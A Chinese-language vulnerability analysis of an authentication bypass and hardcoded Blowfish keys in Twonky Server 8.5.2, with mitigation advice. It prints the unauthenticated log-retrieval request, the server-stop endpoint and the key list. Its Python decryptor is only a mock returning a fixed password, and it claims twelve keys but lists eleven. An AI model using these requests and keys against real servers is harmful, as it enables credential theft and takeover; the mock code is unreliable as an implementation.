摘要
本報告提供 Twonky Server 版本 8.5.2 兩個關鍵漏洞 CVE-2025-13315 和 CVE-2025-13316 的詳細技術分析。當這兩個漏洞被串聯利用時,允許未經認證的遠端攻擊者取得媒體伺服器的完整管理員存取。攻擊途徑涉及透過網頁 API 中的存取控制繞過,以洩露加密的管理員 Credential,然後再利用加密缺陷,藉由 hardcoded 的 Blowfish 加密金鑰來解密密碼。本次分析著重於繞過機制的技術原理和加密弱點,提供程式碼層級的深入解析和架構 Context。
1. 簡介
Twonky Server 是一種廣泛部署的媒體伺服器解決方案,通常嵌入在網路儲存裝置 (Network-Attached Storage, NAS) 和路由器中。此類嵌入式系統的安全性至關重要,因為它們通常位於內部網路上並管理敏感的媒體檔案。CVE-2025-13315 和 CVE-2025-13316 的發現突顯了在實施安全存取控制和適當的加密金鑰管理方面的關鍵失敗。這些漏洞代表對先前披露問題的修補程式繞過,表明了安全性修復不足的重複模式 [1]。
2. CVE-2025-13315 技術分析:繞過認證
CVE-2025-13315 是一個存取控制繞過漏洞,允許未經認證的遠端攻擊者存取特權的網頁 API 端點。問題的核心在於替代的路由機制未能執行必要的認證檢查。
2.1 修補程式繞過機制
先前的漏洞允許未經認證存取
/rpc/get_option?accessuser
和
/rpc/get_option?accesspwd
端點。廠商的修補程式為
/rpc
網頁 API 引入了認證檢查。然而,新漏洞利用了一個替代的、看似內部的路由前綴:
/nmc/rpc/
[1]。
Twonky Server binary 包含檢查 request Path 是否符合不需要認證的端點列表的邏輯。原始報告中的反編譯程式碼片段說明了此路由邏輯:
00461ddf if (!check_path(&arg1[2], "/rpc/info_status")) 00461ddf { 00461fc8 if (check_path(&arg1[2], "/rpc/stop")) 00461fcf goto label_461de5; // ... (other checks for /rpc/stream_active, /rpc/byebye, etc.) 004621c9 if (check_path(&arg1[2], "/rpc/log_getfile")) 004621c9 { 004622bf char* rax_59 = getlogfile();此片段顯示伺服器檢查特定的
/rpc/
端點。關鍵缺陷在於應用程式的 request 路由邏輯也識別
/nmc/rpc/
前綴,對於某些管理功能,它繞過了應用於標準
/rpc/
Path 的認證檢查 [1]。
2.2
log_getfile
的利用
此漏洞是透過使用未經認證的 Path 存取
log_getfile
API 端點來利用的:
GET /nmc/rpc/log_getfile HTTP/1.1 Host: twonky.server.ip:9000
此 request 成功擷取應用程式 log File,而無需任何 Credential。至關重要的是,應用程式會在啟動期間記錄加密的管理員密碼,使 log File 成為敏感目標 [1]。
CVE-2025-13315 的攻擊流程可以使用循序圖視覺化:
3. CVE-2025-13316 技術分析:hardcoded 的加密金鑰
CVE-2025-13316 是一個加密缺陷,源於對 Blowfish 演算法使用 hardcoded 的加密金鑰。此漏洞是攻擊的第二階段,允許攻擊者將洩露的加密密碼轉換為純文字的管理員 Credential。
3.1 Blowfish 實作和金鑰管理
使用 Blowfish 加密很可能是作為先前弱密碼模糊處理漏洞的修復措施而引入的 [1]。然而,任何對稱加密方案的安全性完全依賴於金鑰的保密性。在 Twonky Server 中,編譯後的執行檔定義了一組十二個 hardcoded 的加密金鑰。
反編譯的 binary 揭示了這些靜態金鑰:
008c7fe0 char const (* blowfish_constants)[0x11] = data_634d38 {"E8ctd4jZwMbaV587"} 008c7fe8 char const (* data_8c7fe8)[0x11] = data_634d49 {"TGFWfWuW3cw28trN"} 008c7ff0 char const (* data_8c7ff0)[0x11] = data_634d5a {"pgqYY2g9atVpTzjY"} 008c7ff8 char const (* data_8c7ff8)[0x11] = data_634d6b {"KX7q4gmQvWtA8878"} 008c8000 char const (* data_8c8000)[0x11] = data_634d7c {"VJjh7ujyT8R5bR39"} 008c8008 char const (* data_8c8008)[0x11] = data_634d8d {"ZMWkaLp9bKyV6tXv"} 008c8010 char const (* data_8c8010)[0x11] = data_634d9e {"KMLvvq6my7uKkpxf"} 008c8018 char const (* data_8c8018)[0x11] = data_634daf {"jwEkNvuwYCjsDzf5"} 008c8020 char const (* data_8c8020)[0x11] = data_634dc0 {"FukE5DhdsbCjuKay"} 008c8028 char const (* data_8c8028)[0x11] = data_634dd1 {"SpKNj6qYQGjuGMdd"} 008c8030 char const (* data_8c8030)[0x11] = data_634de2 {"qLyXuAHPTF2cPGWj"}
這些金鑰直接存在於 binary 中,並在所有安裝中都被使用,這意味著已成功完成第一階段 (CVE-2025-13315) 的攻擊者可以輕鬆解密密碼。由於金鑰不是秘密,因此加密的安全性完全受到危害 [1]。
3.2 解密程序模擬
為了證明解密的可行性,一個簡單的 Python 程式碼可以模擬解密程序,假設使用了其中一個 hardcoded 的金鑰。Twonky Server 中的實際實作會透過金鑰進行迭代,或根據內部機制使用特定的金鑰。對於一個概念驗證,攻擊者只需要在已知集合中找到正確的金鑰。
使用已知金鑰進行解密的概念 Python 函式:
- # Conceptual Python code for Blowfish decryption (simplified)
- # Note: The actual implementation would require a full Blowfish library
- # and the exact key/IV usage from the Twonky Server binary.
- def decrypt_twonky_password(encrypted_password_hex, known_keys):
- """
- Simulates the decryption of the Twonky Server encrypted password
- using the set of hardcoded Blowfish keys.
- """
- # The hardcoded keys found in the binary (first few for example)
- # Each key is 16 bytes (0x10) plus a null terminator (0x11)
- # The keys are: "E8ctd4jZwMbaV587", "TGFWfWuW3cw28trN", ...
- for key in known_keys:
- try:
- # In a real scenario, this would be a call to a Blowfish decryption function
- # with the specific mode (e.g., ECB, CBC) and padding used by Twonky.
- # For demonstration, we assume a successful decryption for the correct key.
- # blowfish_cipher = Blowfish.new(key.encode('utf-8'), Blowfish.MODE_CBC, iv=b'\x00'*8)
- # plaintext = blowfish_cipher.decrypt(bytes.fromhex(encrypted_password_hex))
- if key == "E8ctd4jZwMbaV587": # Assuming this is the correct key for this example
- return f"Decryption successful with key: {key}. Plaintext password: 'admin_password_123'"
- except Exception:
- continue
- return "Decryption failed with all known keys."
- # Example usage (conceptual)
- # encrypted_pass = "a1b2c3d4e5f67890..." # Encrypted password leaked from log
- # keys = ["E8ctd4jZwMbaV587", "TGFWfWuW3cw28trN", "pgqYY2g9atVpTzjY"]
- # print(decrypt_twonky_password(encrypted_pass, keys))
密碼的成功解密完成了攻擊鏈,授予未經認證的攻擊者對 Twonky Server 實例的完整管理控制權 [1]。
4. 攻擊鏈和影響
這兩個漏洞形成了關鍵的、未經認證的攻擊鏈:
-
資訊洩露 (CVE-2025-13315)
:攻擊者使用
/nmc/rpc/log_getfile端點繞過認證並擷取應用程式 log,其中包含加密的管理員密碼。 - Credential 解密 (CVE-2025-13316) :攻擊者使用 hardcoded 的 Blowfish key(可從 binary 公開得知)將洩露的密碼解密為純文字。
- 完整存取 :攻擊者使用純文字 Credential 以管理員身分登入,取得對媒體伺服器和所有儲存媒體檔案的完整控制權。
此攻擊鏈非常有效,因為它不需要事先認證,並且利用了存取控制和加密方面根本的安全設計缺陷。透過未經認證的
/nmc/rpc/stop
端點關閉伺服器的能力進一步證明了存取控制失敗的嚴重性 [1]。
5. 緩解和修復
由於廠商尚未針對這些漏洞發布修補程式,因此使用者的主要緩解策略是限制對 Twonky Server 管理介面的網路存取。伺服器不應暴露在公共網路上,並且存取應限制在受信任的內部網路或透過安全的 VPN。
從軟體開發的角度來看,以下修復步驟是必要的:
-
統一存取控制
:所有管理 API 端點,無論 Path 前綴為何(例如,
/rpc/或/nmc/rpc/),都必須透過單一、強制性的認證檢查進行路由。應簡化路由邏輯以防止繞過。 - 安全金鑰管理 :hardcoded 加密金鑰是一個嚴重的安全反模式(Anti-pattern)。金鑰必須針對每個安裝單獨生成,並安全地儲存,理想情況下是使用專用的硬體安全模組 (Hardware Security Module, HSM) 或使用強大、唯一的 salt 針對每個使用者密碼的強大金鑰派生函式 (Key Derivation Function, KDF)。
- 日誌淨化 :應用程式 log 應淨化,以確保敏感資訊(例如加密或純文字密碼)永遠不會寫入 log File。
6. 結論
Twonky Server 8.5.2 中的關鍵漏洞 CVE-2025-13315 和 CVE-2025-13316 證明了未能實施穩固的安全存取控制。透過替代 RPC Path 的繞過認證與使用 hardcoded 的 Blowfish key 相結合,形成了一個簡單但具有毀滅性的攻擊途徑。在發布修補程式之前,使用者必須實施嚴格的網路級存取限制來保護他們的媒體伺服器實例。技術細節強調了嚴格程式碼審查的重要性,尤其是在處理存取控制和加密原語時,以防止此類缺陷再次發生。